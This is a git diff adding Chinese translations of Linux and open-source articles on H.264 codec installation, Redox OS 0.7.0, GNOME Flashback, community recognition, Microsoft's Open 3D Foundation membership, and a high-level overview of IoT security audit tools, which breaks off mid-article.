+作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/gnome-text-editor/ +[2]: https://gitlab.gnome.org/GNOME/console +[3]: https://itsfoss.com/wp-content/uploads/2022/04/notification-from-gnome-console.png +[4]: https://itsfoss.com/root-user-ubuntu/ +[5]: https://itsfoss.com/wp-content/uploads/2022/04/GNOME-Console-turns-red-when-using-sudo-or-root-800x442.webp +[5a]: https://itsfoss.com/wp-content/uploads/2022/05/gnome-console-color-change-ssh.png +[6]: https://itsfoss.com/wp-content/uploads/2022/04/themes-gnome-console.png +[7]: https://itsfoss.com/customize-linux-terminal/ +[7a]: https://itsfoss.com/wp-content/uploads/2022/05/warning-in-old-gnome-terminal.png +[7b]: https://itsfoss.com/wp-content/uploads/2022/05/warning-in-new-gnome-console.png +[8]: https://itsfoss.com/wp-content/uploads/2022/04/transparent-gnome-console.png +[9]: https://itsfoss.com/wp-content/uploads/2022/04/tabs-GNOME-Console.png +[10]: https://itsfoss.com/wp-content/uploads/2022/04/search-GNOME-Console.png +[11]: https://itsfoss.com/wp-content/uploads/2022/04/keyboard-shortcuts-gnome-console.png +[12]: https://itsfoss.com/best-linux-beginners/ diff --git a/published/202205/20220430 How to Install h.264 decoder on Ubuntu Linux.md b/published/202205/20220430 How to Install h.264 decoder on Ubuntu Linux.md new file mode 100644 index 0000000000..a5a85f33b1 --- /dev/null +++ b/published/202205/20220430 How to Install h.264 decoder on Ubuntu Linux.md @@ -0,0 +1,160 @@ +[#]: subject: "How to Install h.264 decoder on Ubuntu Linux" +[#]: via: "https://itsfoss.com/install-h-264-decoder-ubuntu/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "hwlife" +[#]: reviewer: "turbokernel" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14583-1.html" + +在 Ubuntu Linux 如何安装 H.264 解码器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/12/101451szky6vn0vn4ssv2s.jpg) + +当你开始使用 [新安装的 Ubuntu 系统][1] 并尝试打开一个 MP4 文件进行播放时,它可能会显示一个错误,即: + +> 播放这个文件要求 H.264(高清)解码器 ,但是没有安装。 + +![当播放特定媒体文件时,Ubuntu 的默认视频播放器会显示错误][2] + +你可能会猜到原因:系统没有安装所需的多媒体解码器,导致视频播放器播放该视频文件。 + +所以,解决方案是什么?安装所需的解码器。怎么做呢? + +我将讨论解决这个问题的三种方法: + + 1. 只安装所需的解码器:它能解决所需的文件播放,但是一些其它格式的文件仍然会处在无解码器可用的状态。 + 2. 一次安装多种多媒体解码器:它会安装解码器之外,还会安装你不需要的其它软件包,类似微软的字体库一样。 + 3. 安装一个不同的视频播放器:像 VLC 和 MPV 视频播放器默认状态下对解码器有更好的支持。对大多数常规视频文件来说,你不必分别安装它们。 + +如果你遵从我的建议,我建议你采用第二种和第三种方法。为什么?一会你就知道了。 + +### 在 Ubuntu Linux 获取 H.264 解码器 + +这里我使用 Ubuntu Linux。第一和第三种方法应该也适用于其它发行版,但是第二种方法不适用,因为所提到的包(常常)是 Ubuntu 所独有的。 + +#### 方法 1: 只安装所需的解码器(不推荐) + +当你看到这个错误时,它给你一个叫做 “在 Ubuntu 软件中心查找” 的按钮。点击这个按钮打开软件中心,可能显示(或不显示)一些将在你的系统上安装 H.264 解码器的软件包。 + +![在 Ubuntu 软件中心可能提供 H.264 解码器软件包][3] + +软件包名可能听起来很相似,但是你需要安装来自“不良”组合"bad" set的 GStreamer 多媒体解码器。注意检查软件包的描述。 + +或者,你可以使用如下命令在终端来安装软件包: + +``` +sudo apt install gstreamer1.0-plugins-bad +``` + +如果你对终端不了解,请注意要求使用你的账户密码的提示。**当你输入你的密码时,屏幕什么都不显示**。这是 Linux 的方式。你盲输密码然后按回车键。 + +一旦软件包安装完成,再次打开文件看看是否能够正常播放。 + +这可能对你有用,但是解决方案并未结束。你可能有其它格式的一些视频文件要求一些其它的 H.264 解码器或者其它解码器。 + +![其它的解码器播放视频你可能仍然有问题][4] + +你可以通过如下命令安装更多的解码器: + +``` +sudo apt install libavcodec-extra gstreamer1.0-plugins-ugly gstreamer1.0-libav +``` + +然而,在 Ubuntu 有一个 [安装多媒体解码器更加方便的方法][5],我会在下一节展示给你。 + +#### 方法 2: 安装所有多媒体解码器(推荐) + +Ubuntu 系统提供了一个名字叫做 `ubuntu-restricted-extras` 的基础软件包,由许多常规的音频和视频解码器以及像类似微软字体库那样多余的一些软件包组成。 + +安装这个软件包你将不用再担心多媒体解码器的问题了。 + +在 Ubuntu 打开终端并键入以下命令: + +``` +sudo apt install ubuntu-restricted-extras +``` + +由于这个基础软件包包含类似微软字库那样用不到的一些多余的软件,你必须得接受最终用户许可协议(EULA)才行。 + +![按下 tab 键 然后点击回车接受 EULA 协议][6] + +下一屏类似如下。按下 `tab` 键会高亮显示选项。当正确的选项高亮显示时,按下回车键来确认你的选择。 + +![当高亮显示你正确的选项时,按下 tab 键,按回车键确认][7] + +当多媒体解码器安装完成后,你应该能够播放绝大多数媒体文件了。你的音乐播放器能播放 MP3 文件,你的视频播放器能播放 MP4,MKV 等等格式。 + +然而,这也不是解决方案的终点,至少对某些人来说。 + +为什么我要那样说?因为我已经注意到 Ubuntu 系统下的默认视频播放器 Totem 在播放某些视频格式文件时常常遇到问题。你会注意到突然你的系统主机发热,风扇狂转并且鼠标指针停止运行。 + +为什么?因为 Totem 播放器在视频解码方面占用了大量的处理器资源。 + +当你播放视频的时候你可以通过 `top` 命令尝试查看名称为 `totem` 这个进程(那是默认视频播放器的名字)。 + +![Ubuntu 默认的视频播放器 Totem 可能消耗过多的必要的 CPU 资源][8] + +你现在能够做什么?你的麻烦看起来永无止境,别担心。[在 Linux 上有更好的视频播放器][9] 并且它们能帮助你解决问题。 + +#### 方法 3: 安装一个更优秀的视频播放器(推荐) + +在 Linux 上有很多优秀的视频播放器。我发现它们优于默认的 Totem 视频播放器。 + +就我个人来说,那么多个我只喜欢这两个:[VLC][10] 和 [MPV][11]。 + +VLC 是一个功能丰富且超级流行的视频播放器。很可能你已经使用过 VLC 。 + +MPV 媒体播放器不是那么流行,但使用这个轻量级的程序播放视频文件是再合适不过了。 + +VLC 和 MPV 播放器都擅长处理多媒体解码器。你甚至不必分开来安装多媒体解码器。只需要 [安装 VLC][12] 或者 MPV ,你就能够播放各种格式的视频文件。 + +在软件中心也可以找到它: + +![在 Ubuntu 软件中心 MPV 可用][13] + +或者 使用命令行 [在 Ubuntu 安装 MPV][14]: + +``` +sudo apt install mpv +``` + +现在你已经有了一个新的视频播放器,你应该右键点击视频文件,选择新的视频播放器来打开。 + +或者,你可以[使其作为默认程序][15] 双击来播放视频文件。 + +### 对你有用吗? + +我在这里没有说太多细节。我想阐述各种方法以及对应的优缺点。 + +你在 Ubuntu 处理好 H.264 解码器的问题了吗?哪种方法对你有用? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-h-264-decoder-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[hwlife](https://github.com/hwlife) +校对:[turbokernel](https://github.com/turbokernel) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/install-ubuntu/ +[2]: https://itsfoss.com/wp-content/uploads/2022/04/h264-decoder-error-ubuntu-800x241.png +[3]: https://itsfoss.com/wp-content/uploads/2022/04/h264-decoder-ubuntu-software-center-800x532.png +[4]: https://itsfoss.com/wp-content/uploads/2022/04/ac3-decoder-missing-ubuntu-800x251.png +[5]: https://itsfoss.com/install-media-codecs-ubuntu/ +[6]: https://itsfoss.com/wp-content/uploads/2020/02/installing_ubuntu_restricted_extras.jpg +[7]: https://itsfoss.com/wp-content/uploads/2020/02/installing_ubuntu_restricted_extras_1.jpg +[8]: https://itsfoss.com/wp-content/uploads/2022/04/totem-consuming-more-cpu-ubuntu-800x454.webp +[9]: https://itsfoss.com/video-players-linux/ +[10]: https://www.videolan.org/vlc/ +[11]: https://mpv.io/ +[12]: https://itsfoss.com/install-latest-vlc/ +[13]: https://itsfoss.com/wp-content/uploads/2022/04/mpv-player-ubuntu-software-center-800x346.png +[14]: https://itsfoss.com/mpv-video-player/ +[15]: https://itsfoss.com/change-default-applications-ubuntu/ diff --git a/published/202205/20220430 Rust-based Redox OS 0.7.0 Arrives with Enhanced Hardware Support.md b/published/202205/20220430 Rust-based Redox OS 0.7.0 Arrives with Enhanced Hardware Support.md new file mode 100644 index 0000000000..0eaa712506 --- /dev/null +++ b/published/202205/20220430 Rust-based Redox OS 0.7.0 Arrives with Enhanced Hardware Support.md @@ -0,0 +1,82 @@ +[#]: subject: "Rust-based Redox OS 0.7.0 Arrives with Enhanced Hardware Support" +[#]: via: "https://news.itsfoss.com/redox-os-0-7-0-release/" +[#]: author: "Rishabh Moharir https://news.itsfoss.com/author/rishabh/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14533-1.html" + +基于 Rust 的 Redox OS 0.7.0 发布:增强硬件支持 +====== + +> Unix 风格的 Redox OS 0.7.0 发布了,它此次带来了几项改进,聚焦于在最广泛的硬件上启动。 + +![Redox OS][1] + +每年的这个时候,我们都会继续观察报道 Ubuntu 和基于它的发行版的新版本,但是今天不一样。 + +今天,我们要介绍的主角是 Redox OS,它专注于稳定性和安全性。我们 [早在 2016 年就报道过它][2],那时它还处于开发早期阶段(如果你感兴趣的话)。 + +它大致上类似 Unix,但却是一个完整的操作系统。此外,它完全使用 Rust 从零开始编写。Rust 是一个流行的内存安全的编程语言。 + +Redox OS 的另一个主要特点是它采用了微内核设计方法。这意味着与 Linux 宏内核相比,它的体积和使用的基本功能都比较少。 + +### 版本更新介绍 + +新发布的 [Redox OS][3] 侧重于操作系统的最基础部分,并且旨在扩展硬件支持。让我们来看看这个版本带来了什么更新吧! + +#### 改进的文件系统 + +Redox 附带一个名为 RedoxFS 的自定义文件系统,这个文件系统也与 Linux 兼容。 + +RedoxFS 目前是一个写时复制copy-on-Write文件系统,当硬件加速功能可用时,支持使用 AES(高级加密标准)进行透明加密。 + +#### 重写的引导程序 + +引导程序已经被完全修改,现在 UEFI 和 BIOS 版本共用了相同的代码。 + +此外,操作系统也共享相同的驱动代码以提高安全性。这意味着文件系统可以被引导程序解锁,以对内核和 initfs 进行加密和哈希。 + +#### 微内核的更新 + +其微内核已经经历了几次修复和更新,以提高性能并带来更好的硬件支持。 + +例如,它增加了对 ARM(aarch64)和未来编译器的支持。 + +内核强制对所有系统路径进行 UTF-8 编码,并使用了 acpid —— 用于电源管理的守护程序。 + +由于 initfs 被移到了一个单独的文件中,打包性能也得到了提升。 + +#### 其他特性 + +Redox OS 更新了 rustc(Rust 编译器)和 reibc(基于 Rust 的 C 库),以提高软件支持、性能和移植性。 + +你也可以阅读 [官方博文][4] 或其 [GitLab 页面][5] 以了解更多关于该版本的信息。 + +### 结语 + +需要注意的是,Redox OS 可能不是大多数人的替代品。然而,随着开发者(Jeremy Soller)为未来计划的一系列改进,它可以成为一个有希望的替代品。 + +开发者还计划定期发布新版本。因此,我们可以期待 Redox OS 在不久的将来会为我们带来什么。 + +你听说过 Redox OS 吗?你对它有什么看法呢?欢迎在评论区分享你的观点! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/redox-os-0-7-0-release/ + +作者:[Rishabh Moharir][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/rishabh/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/04/redox-os-0-7-0.jpg +[2]: https://itsfoss.com/redox-os-an-operating-system-written-in-rust/ +[3]: https://www.redox-os.org/ +[4]: https://www.redox-os.org/news/release-0.7.0/ +[5]: https://gitlab.redox-os.org/redox-os/redox diff --git a/published/202205/20220501 How to Install Classic GNOME Flashback in Ubuntu 22.04 LTS.md b/published/202205/20220501 How to Install Classic GNOME Flashback in Ubuntu 22.04 LTS.md new file mode 100644 index 0000000000..67e46d9b20 --- /dev/null +++ b/published/202205/20220501 How to Install Classic GNOME Flashback in Ubuntu 22.04 LTS.md @@ -0,0 +1,98 @@ +[#]: subject: "How to Install Classic GNOME Flashback in Ubuntu 22.04 LTS" +[#]: via: "https://www.debugpoint.com/2022/05/gnome-classic-ubuntu-22-04/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "turbokernel" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14627-1.html" + +Ubuntu 22.04 LTS 中安装经典 GNOME Flashback 指南 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/23/151318xi8c3qipphg8xz0i.jpg) + +> 关于如何在最新的 UBUNTU 22.04 LTS 中安装旧的经典 GNOME Flashback 的快速指南。 + +[GNOME Flashback][1](又名 classic GNOME)是旧 GNOME 3 shell 的一个分支,它使用早期 GNOME 2 技术的布局和原则。它的速度快如闪电,并且在设计上非常轻量级。因此,它非常适合几十年前的老旧硬件。 + +随着带有现代 GNOME 42 的 [Ubuntu 22.04 LTS][2] 的发布,有必要寻找轻量级的桌面环境选项。 + +此外,GNOME Flashback 很容易安装在现代 Ubuntu Linux 中,你仍然可以享受 Ubuntu 性能而不必关心 GNOME 42、GTK4、libadwaita 之类的东西。 + +### 在 Ubuntu 22.04 LTS 中下载并安装经典 GNOME Flashback + +按照以下步骤在 Ubuntu 22.04 LTS 中下载并安装经典 GNOME Flashback(Metacity)。 + +在 Ubuntu 22.04 LTS 中打开终端(CTRL+ALT+T)并运行以下命令。安装大小约为 61MB。 + +``` +sudo apt update +sudo apt install gnome-session-flashback +``` + +![Install GNOME Classic Flashback Metacity in Ubuntu 22.04 LTS][3] + +最后,安装完成后,退出。重新登录时,在登录选项中使用经典的 GNOME Flashback(Metacity) 。 + +![Choose GNOME Classic while logging in][3a] + +### 经典 GNOME Flashback 的特点 + +首先,当你登录时,你将体验到传统的 GNOME 技术,它已被证明具有良好的生产力,并且比今天的技术快得多。 + +在顶部有旧版的面板,左侧是应用菜单,而系统托盘位于桌面的右上方。应用程序菜单显示所有已安装的应用和软件快捷方式,你可以在工作流程中轻松浏览。 + +此外,在右侧部分,系统托盘具有默认小部件,例如网络、音量控制、日期和时间以及关机菜单。 + +![Classic GNOME Flashback Metacity in Ubuntu 22.04 LTS][3b] + +底部面板包含打开的窗口和工作区切换器的应用列表。默认情况下,它为你提供四个工作区供你使用。 + +此外,你可以随时更改顶部面板的设置以自动隐藏、调整面板大小和背景颜色。 + +除此之外,你可以通过 `ALT + 右键点击` 顶部面板添加任意数量的旧版小程序。 + +![Panel Context Menu][3c] + +![Add to panel widgets][3d] + +### 经典 GNOME 的性能 + +首先,磁盘空间占用极小,仅安装 61 MB。我的测试使用了大约 28% 的内存,其中大部分被其他进程占用。猜猜是谁?是的,是 snap-store(又名 Ubuntu 软件)。 + +因此,总体而言,它非常轻巧,内存(仅 28 MB)和 CPU(0.1%)占用空间非常小。 + +![Performance of GNOME Classic in Ubuntu 22.04][3e] + +此外,假设你将其与同样使用相同技术的 Ubuntu MATE 进行比较。在这种情况下,它比 MATE 更轻量,因为你不需要任何额外的 MATE 应用及其用于通知、主题和其他附加资源的软件包。 + +### 结束语 + +我希望本指南在你决定在 Ubuntu 22.04 LTS Jammy Jellyfish 中安装经典 GNOME 之前帮助你获得必要的信息。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/05/gnome-classic-ubuntu-22-04/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[turbokernel](https://github.com/turbokernel) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://wiki.archlinux.org/index.php/GNOME/Flashback +[2]: https://www.debugpoint.com/2022/01/ubuntu-22-04-lts/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/05/Install-GNOME-Classic-Flashback-Metacity-in-Ubuntu-22.04-LTS.jpg +[3a]: https://www.debugpoint.com/wp-content/uploads/2022/05/Choose-GNOME-Classic-while-loggin-in.jpg +[3b]: https://www.debugpoint.com/wp-content/uploads/2022/05/Classic-GNOME-Flashback-Metacity-in-Ubuntu-22.04-LTS.jpg +[3c]: https://www.debugpoint.com/wp-content/uploads/2020/04/Panel-Context-Menu.png +[3d]: https://www.debugpoint.com/wp-content/uploads/2020/04/Add-to-panel-widgets.png +[3e]: https://www.debugpoint.com/wp-content/uploads/2022/05/Performance-of-GNOME-Classic-in-Ubuntu-22.04.jpg +[4]: https://t.me/debugpoint +[5]: https://twitter.com/DebugPoint +[6]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[7]: https://facebook.com/DebugPoint diff --git a/published/202205/20220502 How to make community recognition more inclusive.md b/published/202205/20220502 How to make community recognition more inclusive.md new file mode 100644 index 0000000000..c53b03da45 --- /dev/null +++ b/published/202205/20220502 How to make community recognition more inclusive.md @@ -0,0 +1,72 @@ +[#]: subject: "How to make community recognition more inclusive" +[#]: via: "https://opensource.com/article/22/5/inclusive-community-recognition" +[#]: author: "Ray Paik https://opensource.com/users/rpaik" +[#]: collector: "lkxed" +[#]: translator: "PeterPan0106" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14590-1.html" + +如何使社区认可更加包容 +====== + +> 抛开具体的工作量,我们认为所有的贡献都弥足珍贵。当所有社区贡献者都能获得家庭般的赞赏时,他们会更倾向于继续为社区添砖加瓦。 + +![](https://img.linux.net.cn/data/attachment/album/202205/13/234756gi7q42f2mgz5mg44.png) + +给予一个优秀的工作足够的认同和赞赏是我作为一个社区管理员最喜欢做的事。我不但有机会能够对贡献者表示感激,同时还能为社区设立一个优秀的榜样。认同和赞赏可以是为了庆祝一个成就,例如有人帮助其他成员加入社区、减少技术债务或者贡献了激动人心的新功能。 + +但是,用来确定贡献量的规则可能会有难以预料的后果。例如某些社区管理员利用如下图所示的图表来表彰贡献,过度地强调了拉取请求(PR)以及对代码库的贡献量。 + +![A bar graph ranking 15 contributors according the the number of PRs merged in a year, ranging from 250 at the top to 50 at the bottom.][2] + +![A bar graph ranking 10 contributing organizations by number of contributions, ranging from more than 15 to less than 5][3] + +使用这样的方法进行表彰会产生三个问题。 + +首先,这样过度关注了对代码库的贡献。早年间,开源项目主要吸引开发者参与,所以自然而然许多贡献是围绕代码的。现在,越来越多的非开发者正在积极参与社区项目(例如通过用户组、会议和用户生产的内容),他们的大多数贡献在代码库以外的地方。这些贡献将不会出现在诸如 *年度合并 PR 数量* 这样的表格上。 + +其次,过度关注贡献指标(指那些易于用数字统计的),最终会演变为奖励数量而不是质量,甚至影响力。在上图的 *贡献组织排行榜* 中,大型组织因为具有更多的可用人力,相对于小型组织就会有更为显著的优势。通过对大型组织在数量上的表彰将可能导致小型组织的人感到权利被剥夺了。 + +最后,尽管本意并非如此,但许多人都会把这些数据看做对个人或组织影响力的排名。 + +基于此,我们最好避免仅仅通过指标数量来表彰对社区的贡献。 + +### 令社区表彰更有意义 + +如何让社区表彰更为包容并且能够覆盖不同的贡献形式呢?诸如 Discord、IRC、邮件列表和Slack 等交流渠道可以很好的表明一个成员的活跃度及其感兴趣的领域。例如每当我看到一些人热衷于解答问题或者帮助新用户时,我会十分开心。这些贡献并不会出现在社区的数据板上,但是让这些贡献得到应有的认同和感谢并广为人知是十分重要的。 + +社区数据板显然是开源社区重要的工具。但是我提醒大家不要花费太多时间在建设数据板上。迟早你会发现,不是所有的东西都可以有清晰的标准进行度量,即便你能够想出规则量化一件事,你也依然会发现这些规则具有局限性。 + +为了获取更多的关于贡献的信息,我经常会安排社区成员茶话会。这些对话经常能够告诉我他们做出贡献的原因、有多少工作量以及谁同时也参与进来了等等。 + +当我第一次与他们对话时,我经常听到他们提及找到回馈社区的方法十分重要,而他们也在寻找方法来提供力所能及的帮助。许多人甚至因不能在代码方面做出贡献而感到内疚,而我会向他们强调代码不再是开源唯一重要的东西。有时这些对话能让我有机会接触到同一城市或同一行业的社区成员,或者发现更多共同的兴趣点。维护这些关系将有助于提升归属感。 + +### 令社区表彰更具影响力 + +除了寻找更多的活动形式,我们也可以让这些活动以更具影响力的形式呈现。例如在看到优质贡献时及时赞美。一个快速的感谢回复会比一两个月之后的正式感谢更有效。许多人包括我自己,都会强调给予更为正式而合理的表彰和奖励,但我们应当谨记,奖励并非社区成员贡献的主要动力。认可好的工作并努力去接触贡献者会令贡献者感到受重视。 + +让其他成员参与到认可的过程中也是一个很好的主意。一旦社区达到了一定的规模,便很难事无巨细地知晓一切细节。如果引入一个成员提名机制则会很好地让大家注意到优秀的贡献。如果你的社区拥有十分正式的奖项,例如在年度会议或聚会上颁发的奖项,请让社区成员参与提名和投票。这不仅提供了成员参与进来的平台,也令这些来自成员投票的奖项更有意义。 + +最后给予认同和感谢也是一个认识成员并加深了解的重要机会。有时候颁奖仿佛在进行交易:“你做了某件事,所以我们给你颁发了某个奖励”。多在介绍成员上花些时间,将令成员感到更受重视并加强归属感。 + +### 社区认可令社区更为健康 + +在提高开源社区的多样性、包容性和归属感方面,我们仍有许多工作亟待改善。更好的社区认可将在其中起着不可或缺的作用。确保所有的贡献都受到重视,让每一位贡献者都感到家庭般氛围和赞赏,将鼓励他们继续为社区贡献。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/5/inclusive-community-recognition + +作者:[Ray Paik][a] +选题:[lkxed][b] +译者:[PeterPan0106](https://github.com/PeterPan0106) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/rpaik +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/world_hands_diversity.png +[2]: https://opensource.com/sites/default/files/2022-04/annual%20merged%20PRs.png +[3]: https://opensource.com/sites/default/files/2022-04/top%20contributing%20orgs.png diff --git a/published/202205/20220502 Microsoft Joins The Open 3D Foundation For Open Source 3D Development.md b/published/202205/20220502 Microsoft Joins The Open 3D Foundation For Open Source 3D Development.md new file mode 100644 index 0000000000..cc7d8d265c --- /dev/null +++ b/published/202205/20220502 Microsoft Joins The Open 3D Foundation For Open Source 3D Development.md @@ -0,0 +1,38 @@ +[#]: subject: "Microsoft Joins The Open 3D Foundation For Open Source 3D Development" +[#]: via: "https://www.opensourceforu.com/2022/05/microsoft-joins-the-open-3d-foundation-for-open-source-3d-development-promotion/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14544-1.html" + +微软加入开放 3D 基金会,参与开源 3D 开发 +====== + +![微软][1] + +微软已经以首席成员的身份加入了开放 3D 基金会Open 3D Foundation(O3DF),其他首席成员是 Adobe、AWS、华为、英特尔和 Niantic。微软的参与为该项目带来了大量的知识和思想引领,这表明了:通过行业合作,创造一个高保真、功能齐全、不受商业条件限制的开源 3D 引擎是多么的关键。 + +微软首席集团项目经理 Paul Oliver 将加入 O3DF 管理委员会,这表明他将致力于实现基金会的目标,即确保符合开放 3D 社区保持需求与输入的平衡。基金会的战略方向和对 3D 可视化、仿真计划的管理,是由理事会与股东的创新互动来指导的。 + +“微软在创意方面的根基很深,我们希望帮助所有的创作者,无论他们是谁、在哪里、为哪个平台创作”,Oliver 如是说,“由 Linux 基金会创建的开放 3D 基金会,是朝着帮助更多世界各地的创作者迈出的美妙一步,我们很高兴能成为其中的一员。” + +微软不断致力于使游戏制作民主化,并向全世界的游戏创作者提供其工具和技术。加入开放 3D 基金会也反映出这一点。微软去年通过 GitHub 向所有开发者发布了其游戏开发工具包,并正在通过与 O3DF 的新伙伴关系,扩大其向所有人开放技术的承诺。 + +O3DF 执行董事,兼 Linux 基金会的游戏和数字媒体部总经理 Royal O'Brien 说:“我们很高兴微软以首席成员的身份加入开放 3D 基金会。有像微软这样杰出的行业资深公司做出贡献,并帮助社区推动 3D 引擎的创新,这对开源社区和使用它的公司都是巨大的好处。” + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/05/microsoft-joins-the-open-3d-foundation-for-open-source-3d-development-promotion/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/microsoft-696x464.jpg diff --git a/published/202205/20220502 Tools You Can Use for the Security Audit of IoT Devices.md b/published/202205/20220502 Tools You Can Use for the Security Audit of IoT Devices.md new file mode 100644 index 0000000000..ce6758817a --- /dev/null +++ b/published/202205/20220502 Tools You Can Use for the Security Audit of IoT Devices.md @@ -0,0 +1,108 @@ +[#]: subject: "Tools You Can Use for the Security Audit of IoT Devices" +[#]: via: "https://www.opensourceforu.com/2022/05/tools-you-can-use-for-the-security-audit-of-iot-devices/" +[#]: author: "Dr Kumar Gaurav https://www.opensourceforu.com/author/dr-gaurav-kumar/" +[#]: collector: "lkxed" +[#]: translator: "tendertime" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14566-1.html" + +物联网安全审计工具集锦 +====== + +数字化转型涉及数据驱动的决策与人工智能(AI)的结合。重要数据通过物联网(IoT)设备和智能组件进行传播。由于物联网设备常常处于不安全的环境,而且由于缺乏内生安全机制的脆弱性,很难免于潜在的网络攻击。以下是一些用于实现安全审计的开源工具,可以降低此类攻击风险。 + +![](https://img.linux.net.cn/data/attachment/album/202205/09/090119h337d3shyoj3ou28.jpg) + +网络攻击者和嗅探器可以从物联网设备中获取敏感数据,并利用这些信息对其他相关系统发起攻击。反病毒和计算机安全服务公司卡巴斯基表示,在 2021,物联网黑客数量同比增长了四倍多。 + +在很大程度上,黑客通过使用 Telnet 协议访问物联网网络,该协议为通过互联网与设备或服务器进行通信提供了命令行接口。根据研究报告,超过 58% 的物联网入侵使用各种协议以求实现挖掘加密货币、通过分布式拒绝服务(DDoS)攻击关闭系统、窃取机密数据的目的。 + +由于人们在疫情期间居家使用物联网设备的时间增加,安全风险也随之上升。这些物联网组件中的大部分无论是个人用还是商用,都缺乏基本的安全措施。人工智能和边缘计算等新技术也使网络和数据安全形势复杂化。卡巴斯基的一位安全专家 Dan Demeter 表示:智能组件变得流行,攻击的数量也随之上升了。 + +![Key components in PENIOT][2] + +### 物联网组件的安全审计需求 + +网络攻击一直在演变,商业公司和政府部门都在采用越来越复杂的网络安全设施以防止他们的应用和基础设施免于在线攻击。全球渗透测试市场预计将从 2021 的 16 亿美元增长到 2026 年的 30 亿美元,2021 至 2026 年的复合年增长率为 13.8%。 + +物联网设备的渗透测试是一个热门话题,在这一领域有大量研究。即使采用“设计安全”的方法,渗透对于识别真正的安全危险并采取适当的预防措施也是至关重要的。 + +物联网部署中需要安全和隐私的关键部分和协议包括: + +* 受限应用协议Constraint application protocol(CoAP) +* 低功耗蓝牙Bluetooth low energy(BLE) +* 高级消息队列协议Advanced message queuing protocol(AMQP) +* 消息队列遥测传输Message queuing telemetry transport(MQTT) + +攻击者有多种可能的入口访问到联网设备。在物联网渗透测试(或安全审计)时,要测试完整的物联网场景和生态。测试内容包括从单个层和嵌入式软件到通信协议和服务器的所有内容。对服务器、在线接口和移动应用的测试并非物联网独有,但至关重要,因为它们涵盖了故障可能性很高的领域。物联网漏洞是电气、嵌入式软件和通信协议测试的重点。 + +在评估联网设备的安全性时会进行以下测试。这些测试都是使用不同的针对漏洞的高性能渗透测试和安全审计工具进行的: + +* 通信端口中的攻击和操纵的测试 +* 基于无线电信号捕获和分析的 IoT 嗅探 +* 接口和后门测试 +* 缓冲区溢出测试 +* 密码破解测试 +* 调试 +* 密码学分析 +* 固件操纵测试 +* 逆向工程 +* 内存转储 + +![][3] + +### 物联网安全审计使用的开源工具 + +物联网设备在我们的日常生活中变得越来越普遍,比如,智能自行车、健身跟踪器、医疗传感器、智能锁和联动工厂等。所有这些设备和组件都可以使用开源工具来抵御网络攻击,本文将简要介绍其中一些工具。 + +#### PENIOT + +[PENIOT](https://github.com/yakuza8/peniot) 是一种物联网渗透测试工具,使安全审计团队能够通过利用设备的连接来测试和破坏具有各种安全威胁的设备。可以测试主动和被动安全威胁。在确定目标设备和相关信息(或参数)后,可以进行主动安全攻击,例如改变系统资源、重放合法通信单元等。还可以分析被动安全威胁,例如破坏敏感数据的机密性或访问网络流量分析。 + +#### Objection + +[Objective](https://github.com/sensepost/objection) 是一个对物联网环境中使用的安卓和 iOS 应用程序进行详细分析和安全审计的工具。 + +目前许多智能组件和设备都在使用安卓和 iOS 平台,使用该工具可以通过详细的日志和安全审计报告对这些平台进行分析。 + 